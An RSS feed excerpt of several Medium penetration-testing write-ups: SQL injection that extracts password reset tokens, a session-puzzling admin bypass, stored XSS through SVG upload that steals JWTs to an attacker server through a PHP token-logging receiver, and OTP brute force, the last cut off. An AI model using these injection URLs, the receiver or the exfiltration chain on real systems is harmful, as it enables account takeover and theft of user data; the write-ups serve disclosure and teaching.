<strong>password reset workflow</strong>.</p><p>If a web application stores password reset tokens in the database and an attacker can read those records through SQL Injection, they may be able to retrieve a valid reset token and complete the password reset process for any user.</p><p>Of course, this technique depends entirely on the application’s implementation. For example, if the application relies on <strong>OTP-based verification</strong> and the verification codes are never stored in the database, this approach may not be applicable.</p><p>This article simply walks through a real-world scenario encountered during a penetration testing engagement and should not be considered universally applicable.</p><h3>Getting Started</h3><p>Before diving in, there are two important points worth mentioning.</p><p>First, this scenario was performed during a real-world engagement using a <strong>Union-Based SQL Injection</strong> vulnerability. However, the same attack logic can also apply to <strong>Blind SQL Injection</strong> or <strong>Error-Based SQL Injection</strong>, provided that the required database information can ultimately be extracted.</p><p>Second, to keep this article focused, I will skip the introductory SQL Injection steps such as testing with AND 1=1, identifying the number of columns using ORDER BY, and other basic enumeration techniques. Instead, we&#39;ll begin directly from the database extraction phase.</p><h3>Enumerating Database Tables</h3><p>My first step was to inspect the columns of the administrators table.</p><pre>target.com/product.php?id=-3361293+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(column_name),17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34+from+information_schema.columns+where+table_name=&#39;tbl_admin&#39;%23</pre><p>Output:</p><pre>id fname lname email password ...</pre><p>Next, I examined the customer table.</p><pre>target.com/product.php?id=-3361293+union+select+...group_concat(column_name)...from information_schema.columns where table_name=&#39;tbl_customer&#39;<br><br></pre><p>Output:</p><pre>id<br>firstname<br>lastname<br>email<br>password<br>status<br>...</pre><p>While continuing to enumerate the database, another table immediately caught my attention:</p><pre>password_reset_temp</pre><p>Inspecting its structure revealed the following columns:</p><pre>email<br>key<br>expDate</pre><p>This single table completely changed the direction of my assessment.</p><p>Up until this point, my attention had been focused on password hashes. However, discovering this table raised an important question:</p><p><strong>Are password reset tokens being stored here?</strong></p><p>If the answer was yes, then cracking password hashes might not be necessary at all.</p><h3>Examining the Password Hashes</h3><p>Before investigating the password_reset_temp table, I wanted to verify whether the extracted password hashes could be used directly.</p><p>To do that, I created a test account on the application.</p><pre>Email:<br>testusers9999@gmail.com</pre><pre>Password:<br>Ab@123456</pre><p>Then, using SQL Injection, I retrieved the password value stored in the database.</p><pre>target.com/product.php?id=-3361293+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,password,17,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34+from+tbl_customer+where+email=&#39;testusers9999@gmail.com&#39;%23</pre><p>The output looked similar to this:</p><pre>8f4a91c2d7e6b03a5c9f18e42d76ab91</pre><p>After further analysis, it became clear that the application used a secure password hashing algorithm together with salting.</p><p>As a result, despite having access to users’ password hashes, attempting to crack them had little practical value.</p><p>This is the point where many assessments usually stop.</p><p>However, there was one important realization:</p><blockquote><em>An attacker doesn’t always need to crack the password. Sometimes, bypassing the authentication workflow is enough.</em></blockquote><h3>Shifting Focus: Investigating the Password Reset Workflow</h3><p>Since the password hashes weren’t directly useful, I went back to examining the database schema.</p><p>The table I had previously discovered:</p><pre>password_reset_temp</pre><p>contained these columns:</p><pre>email<br>key<br>expDate</pre><p>This immediately stood out because many password reset implementations generate a unique token, store it in the database, and then send it to the user via email.</p><p>The workflow typically looks like this:</p><pre>User requests password reset <br>↓ <br>Application generates unique token <br>↓ <br>Token stored in database <br>↓ <br>Reset link sent to user&#39;s email</pre><p>If an attacker can retrieve that token from the database, the original password becomes irrelevant.</p><h3>Testing Against My Own Account</h3><p>To avoid affecting legitimate users, I first tested the entire process using my own test account.</p><p>I requested a password reset and received the following email:</p><pre>https://target.com/reset-password.php?key=768e78024aa8fdb9b8fe87be86f64745ba8818a679&amp;email=testusers9999@gmail.com&amp;action=reset</pre><p>The URL contained two important parameters:</p><pre>key<br>email</pre><p>The email parameter identified the user associated with the reset request.</p><p>The key parameter was the password reset token itself.</p><p>The next question was straightforward:</p><p><strong>Is this token stored inside the database?</strong></p><p>If it is, SQL Injection could potentially retrieve the reset token for any user.</p><h3>Extracting the Reset Token</h3><p>To verify this, I executed the following query:</p><pre>target.com/product.php?id=-3361293+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,`key`,17,18,19,20,password,22,23,24,25,26,27,28,29,30,31,32,33,34+from+password_reset_temp+where+email=&#39;testusers9999@gmail.com&#39;%23</pre><p>A small but important detail:</p><p>In MySQL, KEY is a reserved keyword. Since the column itself was named key, it had to be enclosed in backticks.</p><pre>`key`</pre><p>Otherwise, the query would not execute correctly.</p><p>Output:</p><pre>768e78024aa8fdb9b8fe87be86f64745ba8818a679</pre><p>It was <strong>exactly</strong> the same value embedded in the password reset link.</p><h3>Reconstructing the Password Reset Link</h3><p>Now that the reset token was available, reconstructing the password reset URL was trivial.</p><p>Original URL format:</p><pre>https://target.com/reset-password.php?key=&amp;email=&amp;action=reset</pre><p>Populated with the extracted values:</p><pre>https://target.com/reset-password.php?key=768e78024aa8fdb9b8fe87be86f64745ba8818a679&amp;email=testusers9999@gmail.com&amp;action=reset</pre><p>Opening this URL successfully displayed the password reset page, allowing a new password to be set.</p><p>At this point, the account password could be changed <strong>without knowing the original password and without cracking its hash.</strong></p><h3>Account Takeover</h3><p>In a real-world scenario, the same process could be applied to other users.</p><p>The attack chain looked like this:</p><pre>SQL Injection <br>↓ <br>Access Database <br>↓ <br>Find password_reset_temp table <br>↓ <br>Extract user&#39;s reset token <br>↓ <br>Create valid reset link <br>↓ <br>Set new password <br>↓ <br>Account Takeover</pre><p>The core issue was never the password hashes.</p><p>In fact, the password hashing implementation was secure.</p><p>The real weakness existed within the password reset workflow, allowing complete account takeover without ever cracking a password.</p><h3>Final Thoughts</h3><p>One of the most valuable lessons in penetration testing is that the most impactful finding is not always the one you initially expect.</p><p>In this engagement, the goal wasn’t to crack password hashes — it was to identify an alternative path that ultimately led to the same outcome: <strong>Account Takeover</strong>.</p><p>An application may implement state-of-the-art password hashing algorithms, but if the surrounding business logic is flawed, those protections can become largely ineffective.</p><p>Real security is achieved only when every layer of the application — from the database architecture to the authentication and password recovery workflows — is designed and protected as a complete system.</p><p>If you found this article useful, I’d really appreciate your support with a <strong>Clap</strong> on Medium. It helps the article reach more readers and encourages me to continue sharing practical, real-world experiences from web security and penetration testing.</p><p>Thanks for reading. 🙏</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b3220a52edc1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[When Password Reset Becomes Login: A Real-World Session Puzzling Vulnerability]]></title>
            <link>https://medium.com/@hossein.za68/when-password-reset-becomes-login-a-real-world-session-puzzling-vulnerability-4762e1e75b24?source=rss-30dc26eb393c------2</link>
            <guid isPermaLink="false">https://medium.com/p/4762e1e75b24</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Hossein Zarei]]></dc:creator>
            <pubDate>Wed, 29 Jul 2026 20:55:16 GMT</pubDate>
            <atom:updated>2026-07-29T21:26:48.868Z</atom:updated>
            <content:encoded><![CDATA[<p>A few months ago, I was conducting a penetration test on an enterprise system belonging to a municipality. The goal was to assess different parts of the application based on the vulnerabilities and testing methodologies defined in the OWASP Web Security Testing Guide (WSTG).</p><p>One of the areas I was testing was the employee and staff login functionality.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bbx5mFWFqjOiOeb-v0u0zg.jpeg" /><figcaption>Employee Portal</figcaption></figure><p>Initially, my plan was to focus on authentication-related vulnerabilities. However, while reviewing the login functionality, I noticed an unusual error behavior in Burp Suite, so I decided to investigate this issue first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lhCfEEsHIDy4Z0DYHGD7gA.jpeg" /><figcaption>Login Form</figcaption></figure><p>The application had a password recovery functionality. When entering an email address (even an arbitrary one), the application displayed a message indicating that password recovery information had been sent.</p><p>However, when I modified the same request using Burp Suite, the server started behaving unexpectedly in certain situations.</p><p>For example, the email field validation was only performed on the client side. By sending manipulated requests, I was able to trigger different server-side errors.</p><p>Some examples included sending an empty email value or changing the parameter structure into an array:</p><pre>email[]=</pre><h4>Initial Investigation</h4><p>The application returned different error responses and exceptions.</p><p>This behavior indicated that the server-side logic for this functionality was not properly implemented. Therefore, I decided to investigate how the application’s Session was being handled.</p><h3>The Interesting Part</h3><p>Assume the user login page was available at:</p><pre>target.com/login</pre><p>and the password reset functionality was available at:</p><pre>target.com/forgot-password</pre><p>The application also had a separate management panel for administrators and site operators:</p><pre>target.com/manage</pre><p>The interesting behavior was that after sending the Forgot Password request (even using the manipulated requests), if I immediately accessed:</p><pre>target.com/manage</pre><p>the administration panel was displayed without entering any username or password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mXvX756MsalT4bP1qiR4Jw.jpeg" /><figcaption>admin panel</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a12lmijB7ZNppWaHUXwp9w.jpeg" /></figure><p>As shown in the screenshot above, the admin panel contained login information and passwords belonging to website users (municipality employees).</p><h4>Impact Verification</h4><p>To verify the impact, I decided to use one of the username and password combinations exposed in the panel and perform a normal login.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TcUEohRdAVEatHlqdZbNvQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IJkYaMD2GpJ40qJLoIdqvg.jpeg" /></figure><p>After logging in successfully, sensitive employee information such as salary slips, personnel records, and other internal data became accessible.</p><h4>Identifying the Vulnerability</h4><p>After analyzing the application’s behavior and comparing it with the OWASP Web Security Testing Guide, I determined that this issue matched the <a href="https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/08-Testing_for_Session_Puzzling"><strong>Session Puzzling</strong></a> (also known as <a href="https://owasp.org/www-community/vulnerabilities/Session_Variable_Overloading"><strong>Session Variable Overloading</strong>)</a> vulnerability pattern.</p><p>The root cause was that the same Session Variable was being used in multiple contexts, allowing the password recovery process to affect the authentication state.</p><p>To make sure this behavior was not just a random application error, I repeated the same workflow multiple times.</p><p>Each time, I followed this sequence:</p><pre>1. Send Forgot Password request<br><br>2. Without performing Login<br><br>3. Access the management panel</pre><p>The result was always the same.</p><p>The management panel was only accessible when the requests were performed in this specific order.</p><p>This indicated that the Forgot Password functionality was modifying the Session state, and later the management panel incorrectly interpreted this Session data as a valid authenticated session.</p><p>This testing approach is also consistent with the black-box methodology recommended by OWASP for identifying <a href="https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/08-Testing_for_Session_Puzzling">Session Puzzling vulnerabilities</a>.</p><h4>What Is the Root Cause?</h4><p>Based on the observed behavior, the application’s logic was most likely similar to the simplified example below.</p><p><strong>Note:</strong> The following code is only a simplified example to demonstrate the vulnerability. It is not the actual source code of the tested application.</p><p>The problem was that a single Session Variable:</p><pre>$_SESSION[&quot;user&quot;]</pre><p>was used in two different contexts.</p><h3>Context 1:</h3><pre>Password Reset</pre><h3>Context 2:</h3><pre>Authentication</pre><p>This is exactly the type of issue OWASP describes as <strong>Session Variable Overloading</strong> or <strong>Session Puzzling</strong>.</p><p>The application incorrectly trusted the existence of a Session value that was originally created for another purpose.</p><h4>A Secure Implementation Approach</h4><p>In a secure design, every Session Variable should have a single and clearly defined purpose.</p><p>Session variables should not be shared between different workflows such as password reset and authentication. OWASP recommends separating Session usage based on responsibility to prevent Session Puzzling vulnerabilities.</p><p>For example:</p><p>Instead of:</p><pre>$_SESSION[&quot;user&quot;] = $email;</pre><p>The password recovery process should use a dedicated Session variable:</p><pre>$_SESSION[&quot;password_reset_email&quot;] = $email;</pre><p>Authentication should have its own Session structure:</p><pre>$_SESSION[&quot;authenticated&quot;] = true;<br>$_SESSION[&quot;user_id&quot;] = $user[&quot;id&quot;];<br>$_SESSION[&quot;role&quot;] = $user[&quot;role&quot;];</pre><p>And the admin area should verify authentication explicitly:</p><pre>if(<br>    isset($_SESSION[&quot;authenticated&quot;]) &amp;&amp;<br>    $_SESSION[&quot;authenticated&quot;] === true &amp;&amp;<br>    $_SESSION[&quot;role&quot;] === &quot;admin&quot;<br>){<br>    // Allow access<br>}</pre><h3>Why Is It Called &quot;Puzzling&quot;?</h3><p>Because the attacker combines different parts of the application like pieces of a puzzle, creating a flow that developers did not expect.</p><p>In my scenario:</p><pre>/forgot-password<br>        ↓<br>Session is modified<br>        ↓<br>/manage<br>        ↓<br>Admin panel becomes accessible</pre><p>The developer expected the only valid path to reach the admin area to be:</p><pre>Login<br>    ↓<br>Valid password<br>    ↓<br>Authenticated Session is created<br>    ↓<br>Admin access</pre><p>However, the attacker found another path:</p><pre>Forgot Password<br>        ↓<br>The same Session Variable is populated<br>        ↓<br>Admin access</pre><p>This is why OWASP classifies this type of weakness as <strong>Session Puzzling / Session Variable Overloading</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n5OPX8mFwre9tfIUKucNfQ.gif" /><figcaption>Intercepting and modifying the password reset request using Burp Suite to trigger the Session Puzzling vulnerability.</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4762e1e75b24" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Stored XSS via SVG File Upload Leading to Account Takeover in an LMS Platform]]></title>
            <link>https://medium.com/@hossein.za68/stored-xss-via-svg-file-upload-leading-to-account-takeover-in-an-lms-platform-c3266453c9a0?source=rss-30dc26eb393c------2</link>
            <guid isPermaLink="false">https://medium.com/p/c3266453c9a0</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Hossein Zarei]]></dc:creator>
            <pubDate>Thu, 16 Jul 2026 16:38:37 GMT</pubDate>
            <atom:updated>2026-07-16T16:38:37.523Z</atom:updated>
            <content:encoded><![CDATA[<p>A few days ago, I was performing a security assessment on a foreign <strong>Learning Management System (LMS)</strong> platform. The application was developed using a <strong>RESTful API architecture</strong>, so I initially focused my testing efforts on analyzing different API endpoints.</p><p>Considering that the application’s business logic was relatively limited and it was mainly designed for educational purposes, I did not find any significant vulnerabilities within the API layer.</p><p>After completing the API assessment, I decided to analyze other parts of the application for common security issues. One of the areas that always deserves attention during web application testing is the <strong>file upload functionality</strong>, especially when users are allowed to change their profile pictures.</p><p>During further investigation, I discovered that users could upload their profile images through a dedicated upload endpoint. This functionality became the starting point for identifying the main vulnerability discussed in this report.</p><h3>Important Note 1</h3><p>In many modern web applications, uploaded files are not directly executed on the server like traditional executable files. Because of this, obtaining a <strong>Web Shell</strong> through File Upload vulnerabilities is less common compared to older applications.</p><p>Modern frameworks such as <strong>Node.js, Django, Laravel, Spring Boot</strong>, and similar technologies usually provide better default security practices around file handling.</p><p>However, this behavior is <strong>not related to the programming language or framework itself</strong>. It completely depends on how developers implement file upload functionality. If uploaded files are stored or served without proper validation and security controls, exploitation can still be possible even in modern frameworks.</p><p>Therefore, when testing file upload functionality in modern applications, it is important not only to check for executable file uploads but also to analyze files such as <strong>SVG</strong> and <strong>HTML</strong> for potential <strong>Stored XSS</strong> vulnerabilities.</p><h3>Important Note 2</h3><p>Vulnerabilities related to uploading SVG files are usually categorized as <strong>Stored Cross-Site Scripting (Stored XSS)</strong>.</p><p>The severity of this vulnerability highly depends on how the application manages user sessions and authentication data.</p><p>If the application uses <strong>HttpOnly Cookies</strong> to store session information, JavaScript executed through XSS cannot directly access those cookies.</p><p>However, if authentication data such as <strong>JWT tokens</strong> are stored inside <strong>LocalStorage</strong> or <strong>SessionStorage</strong>, JavaScript executed through XSS can directly access these tokens. Under the right conditions, this can lead to <strong>Account Takeover</strong>, significantly increasing the overall impact of the vulnerability.</p><h3>Vulnerability Description</h3><p>Within the user profile settings, users had the ability to change their profile picture.</p><p>For example, the profile page was available at:</p><pre>https://app.target.com/student/</pre><p>After uploading a normal image, the file was stored at:</p><pre>https://app.target.com/uploads/avatars/pic.jpg</pre><h3>Important Point</h3><p>In this scenario, the uploaded file was served from the <strong>same Origin</strong> as the main application.</p><p>This detail is extremely important because if an SVG file is rendered without proper sanitization or security restrictions, any JavaScript code inside that SVG file will execute under the same Origin as the application.</p><p>In such conditions, the malicious script can potentially access resources belonging to the same Origin, including the DOM, LocalStorage, and other JavaScript-accessible data.</p><p>In this application, JWT tokens were stored inside <strong>LocalStorage</strong>. Therefore, if XSS execution was successful, these tokens could potentially be accessed and transmitted by the attacker.</p><p>On the other hand, if uploaded files are served from a completely separate <strong>Origin</strong> (for example, cdn.target.com or usercontent.targetcdn.com), JavaScript access to sensitive resources belonging to the main application becomes significantly restricted, reducing the overall impact of the vulnerability.</p><p>The Origin where the uploaded SVG is served plays a critical role in determining the real impact of SVG-based XSS vulnerabilities.</p><p>After identifying the endpoint responsible for profile image uploads, I intercepted the upload request using <strong>Burp Suite</strong> and replaced the normal image file with an SVG file containing the desired payload.</p><p>The server accepted the file without performing any content validation or SVG sanitization and returned the uploaded file path in the response.</p><p>Additionally, by right-clicking on the profile image and selecting <strong>Open image in new tab</strong>, I was able to access the URL of the uploaded SVG file.</p><p>After opening the same URL in the browser, the JavaScript payload embedded inside the SVG file was executed.</p><p>At this stage, it was confirmed that:</p><ul><li>The SVG file was stored without any sanitization.</li><li>The file was directly rendered by the browser.</li><li>JavaScript code inside the SVG file was executed.</li><li>The vulnerability was a <strong>Stored Cross-Site Scripting (Stored XSS)</strong> issue.</li></ul><p>Since user profile pictures were visible to other users, anyone viewing the malicious SVG file would also trigger the JavaScript payload in their browser.</p><p>Therefore, this vulnerability was not limited only to the attacker’s account and could affect other users of the platform as well.</p><p>This behavior is one of the main characteristics of Stored XSS vulnerabilities: the malicious payload is stored by the application and executed whenever another user accesses the affected content.</p><h3>Proof of Payload Execution</h3><p>In the following image, you can see that the payload was successfully embedded inside the SVG file. After opening the uploaded file, the JavaScript code was executed without any restriction.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pWRBGd4-zC88XysNKAYJLg.png" /><figcaption>SVG code</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HQkWXo2tIaFdr4KKtFFu0Q.png" /><figcaption>XSS Stored PoC</figcaption></figure><h3>Analyzing Authentication Data Storage</h3><p>After confirming that the XSS vulnerability was successfully executed, the next step was to analyze how user sessions were managed.</p><p>In this application, the authentication mechanism was based on <strong>JWT (JSON Web Token)</strong>.</p><p>Therefore, I first investigated where the JWT token was stored.</p><p>Using the browser Developer Tools, I discovered that the application stored the JWT token inside <strong>LocalStorage</strong>.</p><p>This was a critical finding because, unlike Cookies with the <strong>HttpOnly</strong> attribute, data stored in LocalStorage can be directly accessed by JavaScript.</p><p>As a result, any JavaScript code executed through an XSS vulnerability could read this token and send it to a server controlled by an attacker. This is exactly why Stored XSS vulnerabilities can potentially lead to <strong>Account Takeover</strong> in such scenarios</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9YUuJ3HMStCczsprcFNoOw.png" /><figcaption>JWT Token</figcaption></figure><h3>Testing JavaScript Access to JWT</h3><p>Before creating the final payload, I first verified through the browser console whether JavaScript had access to the JWT token stored inside LocalStorage.</p><p>As shown in the image below, the token was accessible without any restriction.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/437/1*gdX0DJIO4ZbUTIdPMBXraQ.png" /><figcaption>JS can Read JWT Token</figcaption></figure><h3>Preparing a Server to Receive JWT Tokens</h3><p>To fully demonstrate the impact of the vulnerability, I prepared a personal VPS server capable of receiving and logging tokens sent from the victim’s browser.</p><p>For this purpose, I created a simple receiver on my server that accepted incoming requests and stored the received JWT token inside a text file.</p><p>Before using the final payload inside the SVG file, I first tested this mechanism separately.</p><p>From the browser console, I sent a <strong>fetch()</strong> request to my own server to verify that the communication between the browser and the external server was working correctly.</p><p>The purpose of this step was only to confirm that the receiving infrastructure was functioning properly, and the actual Stored XSS payload had not been used yet.</p><p>The result of executing the test <strong>fetch()</strong> request can be seen in the image below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*3bhMwW3Hv5RmTjjt2aONEQ.png" /><figcaption>fetch Request in Console</figcaption></figure><h3>Successful JWT Token Retrieval</h3><p>After executing the test request, reviewing the server logs confirmed that the JWT token was successfully sent from the browser and stored inside a text file on the server.</p><p>This confirmed that:</p><ul><li>The JavaScript code was executed successfully.</li><li>Access to LocalStorage was possible.</li><li>Communication with the attacker-controlled server was established.</li><li>Sensitive information could be extracted without any additional restrictions.</li></ul><p>In the image below, you can see that the JWT token was successfully stored inside the log.txt file on my personal server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*bH2N17FVMpdPBkDuoyw8Ug.png" /><figcaption>My cPanel Editor</figcaption></figure><h3>Receiver Used</h3><p>To log the received information, I used a very simple Receiver that stored the transmitted value inside a text file.</p><p>An example of this code is shown below:</p><pre>&lt;?php<br>$token = $_GET[&#39;token&#39;] ?? &#39;&#39;;<br><br>if ($token) {<br><br>    $ip = $_SERVER[&#39;REMOTE_ADDR&#39;] ?? &#39;unknown&#39;;<br>    $time = date(&#39;Y-m-d H:i:s&#39;);<br><br>    file_put_contents(<br>        &#39;log.txt&#39;,<br>        &quot;[$time] IP: $ip | Token: $token&quot; . PHP_EOL,<br>        FILE_APPEND | LOCK_EX<br>    );<br><br>    http_response_code(200);<br>}<br>?&gt;</pre><p>The purpose of showing this code is only to demonstrate how the received data was logged for <strong>Proof of Concept (PoC)</strong> purposes.</p><p>In a real-world scenario, an attacker could use any other mechanism to receive and process the stolen data.</p><h3>Executing the Final Payload</h3><p>After confirming that the Receiver was working correctly and that communication between the browser and my personal server was successfully established, I placed the final payload inside the SVG file and uploaded it again through the profile image upload endpoint.</p><p>After a successful upload, the SVG file was stored at the same location returned by the server in the response.</p><p>Every time this file was accessed through its public URL, the JavaScript code inside the SVG file was executed and automatically extracted the user’s JWT token before sending it to my personal server.</p><p>The image below shows that the malicious SVG XSS file was successfully uploaded and the server returned the file path in the response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XJNBlqVu5ZBKvhr0CFgBQQ.jpeg" /><figcaption>Final Payload</figcaption></figure><p>After visiting the uploaded file URL (which was accessible to all users), the payload executed successfully and the user’s JWT token was sent to my server.</p><p>Example file URL:</p><pre>https://app.target.com/uploads/avatars/68c8a40cfbe71c166b6aee2f-1758021658314-t.svg</pre><h3>Impact Validation</h3><p>To verify that this vulnerability was not only exploitable against my own account, I created another test account.</p><p>Then, using the second account, I logged into the application and viewed the malicious SVG file that I had previously uploaded.</p><p>Immediately after opening the file, the payload executed again, and this time the JWT token belonging to the second account was also sent to my personal server.</p><p>This test confirmed that the vulnerability was not limited to the attacker’s account. Any user who viewed the malicious SVG file would be affected by the execution of the payload.</p><p>After receiving the JWT token belonging to the second account, I was able to send authenticated requests and access the account without knowing the username or password, using only the stolen token.</p><p>This demonstrated that the complete attack chain could be executed as shown in the following diagram:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*20ylk45jGjlgvHvFAYP_Cw.png" /><figcaption>Attack Chain</figcaption></figure><p>Therefore, the impact of this vulnerability was not limited to simply executing a JavaScript alert. When authentication information is stored inside <strong>LocalStorage</strong> and additional security controls are missing, this type of vulnerability can potentially lead to <strong>full Account Takeover</strong>.</p><p>Such attack chains can significantly increase the severity of a vulnerability during security assessments, because a Stored XSS issue can become a complete compromise of user accounts depending on the application’s authentication architecture.</p><p>To prevent this vulnerability, the application should address both the insecure file upload handling and the unsafe storage of authentication tokens.</p><p>First, uploaded files should be properly validated and sanitized before being stored. In this scenario, allowing SVG files without sanitization enabled JavaScript execution inside the uploaded file. If SVG uploads are not required, they should be blocked. Otherwise, SVG files should be processed and sanitized to remove active content before being served to users. Additionally, user-uploaded files should ideally be served from a separate Origin to prevent them from executing within the security context of the main application.</p><p>Second, sensitive authentication data such as JWT tokens should not be stored in <strong>LocalStorage</strong>. Since LocalStorage is accessible by JavaScript running on the same Origin, any successful XSS vulnerability can expose stored tokens and potentially lead to Account Takeover. Using secure <strong>HttpOnly cookies</strong> for session management can significantly reduce this risk because JavaScript cannot directly access these cookies.</p><p>In this case, the vulnerability impact was increased by the combination of three factors:</p><ul><li>Unsafe SVG file handling.</li><li>Serving uploaded files from the same Origin as the main application.</li><li>Storing authentication tokens inside LocalStorage.</li></ul><p>Fixing only one of these issues would reduce the risk, but addressing the complete attack chain is necessary to prevent similar Account Takeover scenarios.</p><h3>Remediation</h3><p>To prevent this vulnerability, the application should properly handle uploaded files and prevent the execution of untrusted JavaScript content.</p><p>In this scenario, the main issue was that SVG files were accepted without proper sanitization and were served from the same Origin as the main application. Uploaded SVG files should either be blocked if they are not required, or sanitized before being stored and displayed to users.</p><p>Additionally, security-sensitive data stored on the client side should be carefully considered. While storing tokens in browser storage is a design choice used by many modern applications, developers should understand that any successful XSS vulnerability can potentially access data available to JavaScript, including LocalStorage contents.</p><p>Therefore, preventing XSS through proper input handling, output encoding, file validation, and additional security controls such as Content Security Policy (CSP) is critical to reducing the impact of such attacks.</p><p>In this case, the combination of unsafe SVG handling and same-origin file serving allowed a Stored XSS vulnerability to escalate into a potential Account Takeover scenario.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c3266453c9a0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How a Missing Rate Limit in a Password Reset Flow Led to Account Takeover]]></title>
            <link>https://medium.com/@hossein.za68/how-a-missing-rate-limit-in-a-password-reset-flow-led-to-account-takeover-531f060b85de?source=rss-30dc26eb393c------2</link>
            <guid isPermaLink="false">https://medium.com/p/531f060b85de</guid>
            <category><![CDATA[web-app-pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[Hossein Zarei]]></dc:creator>
            <pubDate>Mon, 29 Jun 2026 16:18:43 GMT</pubDate>
            <atom:updated>2026-06-29T16:18:43.937Z</atom:updated>
            <content:encoded><![CDATA[<p>Recently, while assessing the security of an online learning platform that provides programming, Linux, and other technical courses, I discovered a vulnerability in its <strong>Forgot Password</strong> functionality.</p><p>This issue ultimately allowed me to perform an <strong>Account Takeover</strong> against a <strong>Moderator</strong> account, granting access to privileged areas such as user management, course content, downloadable resources, and other administrative features.</p><p>In this write-up, I’ll walk through the entire discovery process — from identifying the vulnerability to successfully taking over the account.</p><h3><strong>Understanding the Password Reset Flow</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*qYX_6RBM3yDcQpBqxIyAHw.png" /></figure><p>Most web applications implement password reset using one of two common approaches.</p><h4>Method 1: Reset Link</h4><p>The most common implementation sends a password reset link to the user’s email address after they enter their username or email.</p><p>Depending on the implementation, this flow may be vulnerable to issues such as:</p><ul><li>Host Header Injection</li><li>Parameter Pollution</li><li>And several other logic flaws.</li></ul><h4>Method 2: OTP-Based Password Reset</h4><p>The target application used the second approach.</p><p>After entering an email address, the application sent a <strong>One-Time Password (OTP)</strong> via email. Once the correct OTP was submitted, the user was allowed to set a new password.</p><p>This is where things became interesting.</p><h4>Initial Security Assessment</h4><p>I first examined the login process that used OTP authentication.</p><p>The <strong>Login</strong> endpoint properly implemented <strong>Rate Limiting</strong>. After approximately five invalid OTP attempts, further requests were temporarily blocked for several minutes.</p><p>Since the backend was developed in <strong>PHP</strong>, I also checked for common PHP-related issues such as <strong>Type Juggling</strong>, along with other potential flaws like <strong>Response Manipulation</strong>, but I didn’t identify anything exploitable.</p><p>Since the login endpoint appeared to be well protected, I shifted my attention to the <strong>Forgot Password</strong> functionality.</p><h4>Testing the Password Reset Endpoint</h4><p>I intercepted the OTP verification request using <strong>Burp Suite</strong> and sent it to <strong>Repeater</strong> for further analysis.</p><p>I submitted multiple invalid OTP values while observing how the server responded.</p><p>Each failed attempt returned the same response, containing a Unicode-encoded message that translated to <strong>“Invalid OTP”</strong>.</p><p>Next, I entered the correct OTP for my own account (since I had access to the email containing the verification code). The application accepted the OTP and immediately redirected me to the password reset page.</p><p>At this point, I noticed something important.</p><p>While the <strong>Login</strong> endpoint enforced Rate Limiting, the <strong>Forgot Password</strong> endpoint had <strong>no Rate Limiting at all</strong>.</p><p>The only protection in place was that the OTP expired after approximately <strong>five minutes</strong>.</p><p>Even more importantly, the OTP consisted of only <strong>four digits</strong>, meaning there were just <strong>10,000 possible combinations</strong>.</p><p>The vulnerable endpoint looked like this:</p><pre>POST /wp-admin/admin-ajax.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Iq39swWGqrcKekwiVLd9_g.png" /><figcaption>Unlimited OTP attempts with no blocking</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MQcoiczxhk_mEcKN7fWBMw.png" /><figcaption>Valid OTP accepted after unlimited failed attempts</figcaption></figure><h4>Brute Forcing the OTP</h4><p>A four-digit OTP combined with the absence of Rate Limiting made brute forcing entirely practical within the OTP’s validity period.</p><p>To test this, I used a simple four-digit wordlist together with <strong>Burp Intruder</strong> (although <strong>Turbo Intruder</strong> would perform significantly faster).</p><p>Initially, I filtered responses containing the Unicode-encoded <strong>“Invalid OTP”</strong> message.</p><p>However, I quickly realized that this wasn’t even necessary.</p><p>Whenever the correct OTP 